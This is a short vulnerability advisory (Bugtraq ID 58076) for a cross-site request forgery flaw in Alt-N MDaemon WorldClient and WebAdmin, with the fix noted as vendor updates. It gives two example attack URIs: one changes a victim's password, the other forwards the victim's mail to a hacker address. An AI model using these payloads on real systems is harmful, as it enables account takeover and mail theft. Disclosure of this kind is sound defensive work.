Alt-N MDaemon WorldClient And WebAdmin Cross Site Request Forgery Vulnerability

Bugtraq ID:	58076
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Feb 18 2013 12:00AM
Updated:	Feb 18 2013 12:00AM
Credit:	QSecure and Demetris Papapetrou
Vulnerable:
Not Vulnerable:

Alt-N MDaemon WorldClient And WebAdmin Cross Site Request Forgery Vulnerability

MDaemon WorldClient and WebAdmin are prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain unauthorized actions and gain access to the affected application. Other attacks are also possible.

Alt-N MDaemon WorldClient And WebAdmin Cross Site Request Forgery Vulnerability

To exploit this issue, an attacker must entice an unsuspecting victim to open a malicious URI.

The following example URIs are available:

http://www.example.com/WorldClient.dll?Session=[SESSION_ID]&View=Options-Prefs&Reload=false&Save=Yes&ReturnJavaScript=Yes&ContentType=javascript&Password=Letme1n&ConfirmPassword=Letme1n

http://www.example.com/WorldClient.dll?Session=[SESSION_ID]&View=Options-Prefs&Reload=false&Save=Yes&ReturnJavaScript=Yes&ContentType=javascript&ForwardingEnabled=Yes&ForwardingRetainCopy=Yes&ForwardingAddress=hacker%40example.com

Alt-N MDaemon WorldClient And WebAdmin Cross Site Request Forgery Vulnerability

Solution:
Updates are available. Please see the references or vendor advisory for more information.

Alt-N MDaemon WorldClient And WebAdmin Cross Site Request Forgery Vulnerability

References:

• Alt-N Homepage (Alt-N)